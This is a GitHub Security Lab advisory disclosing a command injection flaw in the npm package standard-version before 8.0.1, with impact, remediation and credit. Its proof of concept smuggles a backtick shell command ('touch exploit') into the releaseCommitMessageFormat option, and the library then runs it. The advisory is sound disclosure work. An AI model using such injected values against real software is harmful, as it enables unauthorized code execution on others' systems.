GHSA-7xcx-6wjh-7xp2 Command Injection in standard-version

• npm standard-version: < 8.0.1 → fixed in 8.0.1

GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-111` The GitHub Security Lab team has identified a potential security vulnerability in standard-version. Summary The `standardVersion` function has a command injection vulnerability. Clients of the `standard-version` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability. Product Standard Version Tested Version Commit 2f04ac8 Details Issue 1: Command injection in `standardVersion` The following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in: ``` npm install standard-version git init echo "foo" > foo.txt # the git repo has to be non-empty git add foo.txt git commit -am "initial commit" ``` Now create a file with the following contents: ``` var fs = require("fs"); // setting up a bit of environment fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}'); const standardVersion = require('standard-version') standardVersion({ noVerify: true, infile: 'foo.txt', releaseCommitMessageFormat: "bla `touch exploit`" }) ``` and run it: ``` node test.js ``` Notice that a file named `exploit` has been created. This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042. We have written a CodeQL query, which automatically detects this vulnerability. You can see the results of the query on the `standard-version` project here. Impact This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input. Remediation We recommend not using an API that can interpret a string as a shell command. For example, use `child_process.execFile` instead of `child_process.exec`. Credit This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen). Contact You can contact the GHSL team at `[email protected]`, please include `GHSL-2020-111` in any communication regarding this issue. Disclosure Policy This report is subject to our coordinated disclosure policy.